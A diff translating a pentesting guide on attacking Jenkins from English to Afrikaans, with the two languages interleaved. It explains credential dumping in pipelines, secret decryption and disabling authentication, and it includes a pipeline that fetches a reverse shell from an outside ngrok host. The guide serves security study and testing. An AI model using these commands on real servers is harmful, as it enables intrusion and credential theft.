Die mees algemene triggers om 'n pasgemaakte pyplyn uit te voer is:
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
- **Trekversoek** na die hoof tak (of potensieel na ander takke)
|
||||
- **Stoot na die hoof tak** (of potensieel na ander takke)
|
||||
- **Opdateer die hoof tak** en wag totdat dit op een of ander manier uitgevoer word
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pyplyn te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**.
|
||||
|
||||
### Pipeline RCE
|
||||
### Pyplyn RCE
|
||||
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pyplyn te wysig**](./#rce-creating-modifying-pipeline).
|
||||
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
### Kontroleer Omgewing veranderlikes
|
||||
|
||||
Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pyplyn of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pyplyn** konfigurasies/Jenkinsfiles nagaan:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
Vir inligting oor hoe sekrete gewoonlik deur Jenkins hanteer word, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
Akrediteerlinge kan **geskik word vir globale verskaffers** (`/credentials/`) of vir **spesifieke projekte** (`/job/<project-name>/configure`). Daarom, om al hulle te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en aangepaste/vergiftigde pipelines uitvoer.
|
||||
|
||||
Daar is nog 'n probleem, om 'n **geheim binne die omgewing** van 'n pipeline te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
Hier is die manier om 'n paar algemene geheime tipes te laai:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Aan die einde van hierdie bladsy kan jy **alle die akkreditasietipes** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
> Die beste manier om **alle die geheime op een slag** te **dump** is deur die **Jenkins** masjien te **kompromitteer** (byvoorbeeld deur 'n omgekeerde skulp in die **ingeboude node** te laat loop) en dan die **master sleutels** en die **geënkripteerde geheime** te **lek** en dit offline te ontsleutel.\
|
||||
> Meer oor hoe om dit te doen in die [Nodes & Agents section](./#nodes-and-agents) en in die [Post Exploitation section](./#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
Van [die docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`.
|
||||
|
||||
Cron voorbeeld:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Kontroleer **ander voorbeelde in die dokumentasie**.
|
||||
|
||||
Check **other examples in the docs**.
|
||||
### Knoop & Agente
|
||||
|
||||
### Nodes & Agents
|
||||
'n **Jenkins-instantie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin.
|
||||
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
Vir meer inligting, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
Jy kan die **gekonfigureerde knope** in `/computer/` opnoem, jy sal gewoonlik die \*\*`Built-In Node` \*\* (wat die knoop is wat Jenkins uitvoer) en moontlik meer vind:
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
Dit is **spesiaal interessant om die Built-In knoop te kompromitteer** omdat dit sensitiewe Jenkins-inligting bevat.
|
||||
|
||||
Om aan te dui dat jy die **pipeline** in die **ingeboude Jenkins-knoop** wil **uitvoer**, kan jy die volgende konfigurasie binne die pipeline spesifiseer:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Volledige voorbeeld
|
||||
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
Pypeline in 'n spesifieke agent, met 'n cron-trig, met pypeline en fase omgewingsveranderlikes, wat 2 veranderlikes in 'n stap laai en 'n omgekeerde shell stuur:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
## Arbitraire Lêer Lees na RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post Exploitatie
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Geheimen
|
||||
|
||||
### Jenkins Secrets
|
||||
Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime in die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
|
||||
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
As jy **die konfigurasie van elke projek kan sien**, kan jy ook daar die **name van die krediete (geheime)** sien wat gebruik word om toegang tot die repository te verkry en **ander krediete van die projek**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Van Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Van skyf
|
||||
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
Hierdie lêers is nodig om **Jenkins geheime te ontsleutel**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Such **secrets can usually be found in**:
|
||||
Sulke **geheime kan gewoonlik gevind word in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Here's a regex to find them:
|
||||
|
||||
Hier is 'n regex om hulle te vind:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Ontsleutel Jenkins geheime offline
|
||||
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
As jy die **nodige wagwoorde om die geheime te ontsleutel** afgelaai het, gebruik [**hierdie skrif**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **om daardie geheime te ontsleutel**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
#### Ontsleutel Jenkins geheime vanaf Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Skep nuwe admin gebruiker
|
||||
|
||||
### Create new admin user
|
||||
1. Toegang tot die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\`
|
||||
2. Soek na die woord `<useSecurity>true</useSecurity>` en verander die woord **`true`** na **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Herstart** die **Jenkins** bediener: `service jenkins restart`
|
||||
4. Gaan nou weer na die Jenkins portaal en **Jenkins sal nie enige geloofsbriewe vra** hierdie keer nie. Jy navigeer na "**Manage Jenkins**" om die **administrateur wagwoord weer** in te stel.
|
||||
5. **Aktiveer** die **sekuriteit** weer deur die instellings te verander na `<useSecurity>true</useSecurity>` en **herstart die Jenkins weer**.
|
||||
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -410,6 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,87 @@
|
||||
# Basic Jenkins Information
|
||||
# Basiese Jenkins Inligting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Toegang
|
||||
|
||||
### Username + Password
|
||||
### Gebruikersnaam + Wagwoord
|
||||
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
Die mees algemene manier om in te log in Jenkins is met 'n gebruikersnaam of 'n wagwoord.
|
||||
|
||||
### Cookie
|
||||
### Koekie
|
||||
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
As 'n **geautoriseerde koekie gesteel word**, kan dit gebruik word om toegang tot die gebruiker se sessie te verkry. Die koekie word gewoonlik `JSESSIONID.*` genoem. (‘n gebruiker kan al sy sessies beëindig, maar hy moet eers uitvind dat 'n koekie gesteel is).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
Jenkins kan gekonfigureer word met behulp van plugins om **toeganklik te wees via derdeparty SSO**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
**Gebruikers kan tokens genereer** om toegang tot toepassings te gee om hulle via CLI of REST API na te boots.
|
||||
|
||||
### SSH Keys
|
||||
### SSH Sleutels
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
Hierdie komponent bied 'n ingeboude SSH-bediener vir Jenkins. Dit is 'n alternatiewe koppelvlak vir die [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), en opdragte kan op hierdie manier met enige SSH-kliënt aangeroep word. (Van die [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
## Magtiging
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
In `/configureSecurity` is dit moontlik om die **magtigingsmetode van Jenkins** te configureer. Daar is verskeie opsies:
|
||||
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
- **Enige iemand kan enigiets doen**: Selfs anonieme toegang kan die bediener administreer.
|
||||
- **Erfmodus**: Dieselfde as Jenkins <1.164. As jy die **"admin" rol** het, sal jy **volledige beheer** oor die stelsel ontvang, en **andersins** (insluitend **anonieme** gebruikers) sal jy **lees** toegang hê.
|
||||
- **Aangemelde gebruikers kan enigiets doen**: In hierdie modus, elke **aangemelde gebruiker kry volledige beheer** van Jenkins. Die enigste gebruiker wat nie volledige beheer sal hê nie, is die **anonieme gebruiker**, wat net **lees toegang** kry.
|
||||
- **Matrix-gebaseerde sekuriteit**: Jy kan **wie kan wat doen** in 'n tabel configureer. Elke **kolom** verteenwoordig 'n **toestemming**. Elke **ry** **verteenwoordig** 'n **gebruiker of 'n groep/rol.** Dit sluit 'n spesiale gebruiker '**anoniem**' in, wat **ongemagtigde gebruikers** verteenwoordig, sowel as '**gemagtigde**', wat **alle gemagtigde gebruikers** verteenwoordig.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
- **Projek-gebaseerde Matrix Magtiging Strategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.**
|
||||
- **Rol-gebaseerde Strategie:** Maak dit moontlik om magtigings te definieer met behulp van 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
## **Sekuriteitsgebied**
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
In `/configureSecurity` is dit moontlik om die **sekuriteitsgebied te configureer.** Standaard sluit Jenkins ondersteuning in vir 'n paar verskillende Sekuriteitsgebiede:
|
||||
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
- **Delegeer aan servlet-container**: Vir **delegasie van magtiging aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatabasis** vir magtiging in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer.
|
||||
- **LDAP**: Delegeer alle magtiging aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe.
|
||||
- **Unix gebruikers/groep databasis**: **Delegeer die magtiging aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix groepe vir magtiging toelaat.
|
||||
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
Plugins kan addisionele sekuriteitsgebiede bied wat nuttig kan wees om Jenkins in bestaande identiteitsisteme in te sluit, soos:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Aktiewe Gids](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Magtiging](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definisies van die [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, kloktyd/synk en reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan.
|
||||
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien.
|
||||
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
'n **executor** is 'n **gleuf vir die uitvoering van take**; effektief, dit is **'n draad in die agent**. Die **aantal executors** op 'n node definieer die aantal **gelyktydige take** wat op daardie node op 'n slag uitgevoer kan word. Met ander woorde, dit bepaal die **aantal gelyktydige Pipeline `stages`** wat op daardie node op 'n slag kan uitvoer.
|
||||
|
||||
## Jenkins Secrets
|
||||
## Jenkins Geheime
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
### Enkripsie van Geheime en Kredensiale
|
||||
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie enkripsiesleutels te enkripteer en te beskerm. Hierdie enkripsiesleutels word in `$JENKINS_HOME/secrets/` gestoor saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelselgebruiker waarvoor die Jenkins-beheerder loop, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel-enkripsiesleutel" in cryptojargon) is **gestoor \_ongeënkripteer**\_ op die Jenkins-beheerder se lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie enkripsiesleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die enkripsie van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en willekeurige IV's om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te enkripteer wat in `$JENKINS_HOME/secrets/` gestoor word met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in:
|
||||
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
- `hudson.util.Secret`: gebruik vir generiese geheime;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: gebruik vir sommige kredensiale tipes;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: gebruik deur die [CSRF beskermingsmeganisme](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); en
|
||||
|
||||
### Credentials Access
|
||||
### Kredensiale Toegang
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang kan verkry, of kan geskik word vir **spesifieke projekte** (`/job/<project-name>/configure`) en dus slegs vanaf die spesifieke projek toeganklik wees.
|
||||
|
||||
